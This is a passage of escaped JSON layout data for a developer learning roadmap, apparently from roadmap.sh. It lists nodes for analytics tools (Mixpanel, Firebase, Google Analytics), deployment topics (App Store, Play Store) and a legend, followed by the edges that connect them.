true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Segment\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"RQMRtlRxvp0CZJzCjRtPu\",\n        \"legend\": {\n          \"id\": \"k3w1z-jvosI6y3y7yQIaV\",\n          \"label\": \"Alternative Option - Pick this or purple\",\n          \"color\": \"#147a00\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 217,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 217\n      },\n      \"measured\": {\n        \"width\": 107,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -273.89917160142375,\n        \"y\": 2263.3029319887246\n      }\n    },\n    {\n      \"id\": \"RQMRtlRxvp0CZJzCjRtPu\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -162.89917160142375,\n        \"y\": 2263.3029319887246\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Mix Panel\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"BjE4Qvjpi0i_s4Oib9765\",\n        \"legend\": {\n          \"id\": \"k3w1z-jvosI6y3y7yQIaV\",\n          \"label\": \"Alternative Option - Pick this or purple\",\n          \"color\": \"#147a00\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 217,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 217\n      },\n      \"measured\": {\n        \"width\": 120,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -162.89917160142375,\n        \"y\": 2263.3029319887246\n      }\n    },\n    {\n      \"id\": \"g2qXhkk6oGaBJy8Y2JOwW\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -271.64790096520323,\n        \"y\": 2444.2674242490925\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Firebase Analytics\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"3IQRLoW9OEf0121-w4o5m\",\n        \"legend\": {\n          \"id\": \"k3w1z-jvosI6y3y7yQIaV\",\n          \"label\": \"Alternative Option - Pick this or purple\",\n          \"color\": \"#147a00\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 225,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 225\n      },\n      \"measured\": {\n        \"width\": 225,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -271.64790096520323,\n        \"y\": 2444.2674242490925\n      }\n    },\n    {\n      \"id\": \"3IQRLoW9OEf0121-w4o5m\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -271.64790096520323,\n        \"y\": 2497.2674242490925\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Google Analytics\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"RQMRtlRxvp0CZJzCjRtPu\",\n        \"legend\": {\n          \"id\": \"k3w1z-jvosI6y3y7yQIaV\",\n          \"label\": \"Alternative Option - Pick this or purple\",\n          \"color\": \"#147a00\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 225,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 225\n      },\n      \"measured\": {\n        \"width\": 225,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -271.64790096520323,\n        \"y\": 2497.2674242490925\n      }\n    },\n    {\n      \"id\": \"mdSWrWi-1n_YlY5iTJwZp\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 70.3618127280065,\n        \"y\": 2641.4756347092084\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Deployment\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"z50iixpcCMe9sTh-gwTI3\"\n      },\n      \"zIndex\": 999,\n      \"width\": 305,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 252,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 305\n      },\n      \"positionAbsolute\": {\n        \"x\": 70.3618127280065,\n        \"y\": 2641.4756347092084\n      }\n    },\n    {\n      \"id\": \"BjE4Qvjpi0i_s4Oib9765\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 70.3618127280065,\n        \"y\": 2724.176078590301\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Guidelines & Protocols\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"aet6mLBkB1BtxI8e7x-h3\",\n        \"legend\": {\n          \"id\": \"Bt3_IFhi9zkS7qIKEMT0V\",\n          \"color\": \"#2b78e4\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 252,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 252\n      },\n      \"measured\": {\n        \"width\": 252,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 70.3618127280065,\n        \"y\": 2724.176078590301\n      }\n    },\n    {\n      \"id\": \"JHkdIQRgf1bbL-HASvGi0\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 70.3618127280065,\n        \"y\": 2777.176078590301\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"App Store\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"wF8Iy7V-f52qQxOsAJobz\",\n        \"legend\": {\n          \"id\": \"Bt3_IFhi9zkS7qIKEMT0V\",\n          \"color\": \"#2b78e4\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 252,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 252\n      },\n      \"measured\": {\n        \"width\": 252,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 70.3618127280065,\n        \"y\": 2777.176078590301\n      }\n    },\n    {\n      \"id\": \"wF8Iy7V-f52qQxOsAJobz\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 70.3618127280065,\n        \"y\": 2830.176078590301\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Playstore\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"0fpwuPTW94iyNlsjXcPOO\",\n        \"legend\": {\n          \"id\": \"Bt3_IFhi9zkS7qIKEMT0V\",\n          \"color\": \"#2b78e4\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 252,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 252\n      },\n      \"measured\": {\n        \"width\": 252,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 70.3618127280065,\n        \"y\": 2830.176078590301\n      }\n    },\n    {\n      \"width\": 380,\n      \"height\": 49,\n      \"id\": \"f5WRewBlpeYMf71cPcXs-\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": -224.89917160142375,\n        \"y\": 2659.621292142318\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"iOS\",\n        \"href\": \"https://roadmap.sh/ios\",\n        \"color\": \"#FFf\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"borderColor\": \"#4136D6\",\n        \"oldId\": \"StxLh1r3qXqyRSqfJGird\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -224.89917160142375,\n        \"y\": 2659.621292142318\n      },\n      \"style\": {\n        \"width\": 380,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 152,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"8VIfVY_-cRS-hcbZzv-lM\",\n      \"type\": \"legend\",\n      \"position\": {\n        \"x\": -710.298072051004,\n        \"y\": -148.2948532825934\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {},\n        \"legends\": [\n          {\n            \"id\": \"Bt3_IFhi9zkS7qIKEMT0V\",\n            \"color\": \"#2b78e4\",\n            \"label\": \"Personal Recommendation / Opinion\"\n          },\n          {\n            \"id\": \"k3w1z-jvosI6y3y7yQIaV\",\n            \"label\": \"Alternative Option - Pick this or purple\",\n            \"color\": \"#147a00\"\n          },\n          {\n            \"id\": \"VHDZQqz8L4sTfaI3pxDjc\",\n            \"label\": \"Order in roadmap not strict (learn anytime)\",\n            \"color\": \"#b0b0b0\"\n          }\n        ]\n      },\n      \"zIndex\": 999,\n      \"measured\": {\n        \"width\": 388,\n        \"height\": 124\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"width\": 388,\n      \"height\": 124,\n      \"positionAbsolute\": {\n        \"x\": -710.298072051004,\n        \"y\": -148.2948532825934\n      }\n    }\n  ],\n  \"edges\": [\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"HU7wZWiES3m3xl1-NYP6F\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"AubSeLi2nwNTUA-L3Kfn4\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__HU7wZWiES3m3xl1-NYP6Fx2-08qKtgnhJ3tlb5JKfTDf5w1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"AubSeLi2nwNTUA-L3Kfn4\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"vR38pAZOfI55R7N7NLY5N\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__4U-HZQGH7kaWCB94Xy8Mhz2-cMfsRtvzvDZZJ0TqeUOxmy1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"AubSeLi2nwNTUA-L3Kfn4\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"keS-4La_a227quDYYbOJT\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__z50iixpcCMe9sTh-gwTI3z2-cMfsRtvzvDZZJ0TqeUOxmy2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Q2S4__BB30KljB7SlquJx\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"AubSeLi2nwNTUA-L3Kfn4\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__Q2S4__BB30KljB7SlquJxy2-z50iixpcCMe9sTh-gwTI3z1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"AubSeLi2nwNTUA-L3Kfn4\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"Pek6vOO-qKCetTznCGv6f\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__z50iixpcCMe9sTh-gwTI3z2-Pek6vOO-qKCetTznCGv6fy1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"AubSeLi2nwNTUA-L3Kfn4\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"TT6HoilzgmS8CAPiTTKZ0\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__z50iixpcCMe9sTh-gwTI3z2-TT6HoilzgmS8CAPiTTKZ0y2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"AubSeLi2nwNTUA-L3Kfn4\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"P-SbMLN-AaNMss_7X0_5N\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__z50iixpcCMe9sTh-gwTI3z2-P-SbMLN-AaNMss_7X0_5Ny1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"HCJXVgnglYuRhK0zl3iPG\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"2mGGqg3ycxw4Rd7blYE-Y\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__z50iixpcCMe9sTh-gwTI3y2-2mGGqg3ycxw4Rd7blYE-Yz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"dy2Jep9hIIECaLutx-3K0\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"lCpJQ8GZp5KhpGO4Sttgu\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__z50iixpcCMe9sTh-gwTI3y2-lCpJQ8GZp5KhpGO4Sttguz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"HCJXVgnglYuRhK0zl3iPG\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"dy2Jep9hIIECaLutx-3K0\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__HCJXVgnglYuRhK0zl3iPGx2-mdSWrWi-1n_YlY5iTJwZpw1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"dy2Jep9hIIECaLutx-3K0\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"DKt8U-iZcrXU5gWGRONqZ\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__mdSWrWi-1n_YlY5iTJwZpy2-DKt8U-iZcrXU5gWGRONqZz2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"dy2Jep9hIIECaLutx-3K0\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"e-m4iKuK6NqFaQLE5viNI\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__mdSWrWi-1n_YlY5iTJwZpy2-e-m4iKuK6NqFaQLE5viNIz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"dy2Jep9hIIECaLutx-3K0\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"07tpSQeeMLKggWwdUXAej\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__mdSWrWi-1n_YlY5iTJwZpy2-07tpSQeeMLKggWwdUXAejz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"dy2Jep9hIIECaLutx-3K0\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"wBSdmrVPv3Zuys3X8VvBm\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__mdSWrWi-1n_YlY5iTJwZpy2-wBSdmrVPv3Zuys3X8VvBmz2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"dy2Jep9hIIECaLutx-3K0\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"z50iixpcCMe9sTh-gwTI3\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__mdSWrWi-1n_YlY5iTJwZpz2-z50iixpcCMe9sTh-gwTI3y1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"dy2Jep9hIIECaLutx-3K0\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"2nz5JoAPsZftFNLypr3Is\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__dy2Jep9hIIECaLutx-3K0x2-mdSWrWi-1n_YlY5iTJwZpw2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"qGN95GG0Q3dur72GS3EDX\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"V0R4VyQ64Bwwj6O8XbZyF\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__mdSWrWi-1n_YlY5iTJwZpz2-V0R4VyQ64Bwwj6O8XbZyFy1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"qGN95GG0Q3dur72GS3EDX\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"drwRSEnl1-ziCvxWJZMJ2\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__qGN95GG0Q3dur72GS3EDXx2-mdSWrWi-1n_YlY5iTJwZpw1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"drwRSEnl1-ziCvxWJZMJ2\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"fhPl9rycPa1r10fuEuNhi\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__mdSWrWi-1n_YlY5iTJwZpz2-fhPl9rycPa1r10fuEuNhiy1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"drwRSEnl1-ziCvxWJZMJ2\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"1-dfwbhXgeRT3VVq3RSRv\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__mdSWrWi-1n_YlY5iTJwZpz2-cMfsRtvzvDZZJ0TqeUOxmy1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"drwRSEnl1-ziCvxWJZMJ2\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"VKqo4dAcy-JiZo7Lw5jeg\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__mdSWrWi-1n_YlY5iTJwZpz2-VKqo4dAcy-JiZo7Lw5jegy1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"drwRSEnl1-ziCvxWJZMJ2\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"MLdt_37kpF2eV0oy56GZF\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__mdSWrWi-1n_YlY5iTJwZpz2-MLdt_37kpF2eV0oy56GZFy2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"drwRSEnl1-ziCvxWJZMJ2\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"med4T8PVkxIo465VuKDEj\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__drwRSEnl1-ziCvxWJZMJ2y2-mdSWrWi-1n_YlY5iTJwZpz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"med4T8PVkxIo465VuKDEj\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"9Az7tmevGI6bVqCTvVL50\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__med4T8PVkxIo465VuKDEjx2-mdSWrWi-1n_YlY5iTJwZpw1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"9Az7tmevGI6bVqCTvVL50\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"TMHrKxnciIpd8F1WLjray\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__mdSWrWi-1n_YlY5iTJwZpx2-TMHrKxnciIpd8F1WLjrayw2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"9Az7tmevGI6bVqCTvVL50\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"P_wptV7oenaYwef1QhKhu\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__9Az7tmevGI6bVqCTvVL50z2-mdSWrWi-1n_YlY5iTJwZpy1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"P_wptV7oenaYwef1QhKhu\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"NPaqiuUpzQbrsXA5XNI7U\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__mdSWrWi-1n_YlY5iTJwZpz2-NPaqiuUpzQbrsXA5XNI7Uy1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"P_wptV7oenaYwef1QhKhu\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"Fdv7Nu26Egtl9tklKn5-8\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__mdSWrWi-1n_YlY5iTJwZpz2-Fdv7Nu26Egtl9tklKn5-8y1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"P_wptV7oenaYwef1QhKhu\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"EVd1rLBHjKbtgkIE7InS7\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__mdSWrWi-1n_YlY5iTJwZpz2-EVd1rLBHjKbtgkIE7InS7y1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": 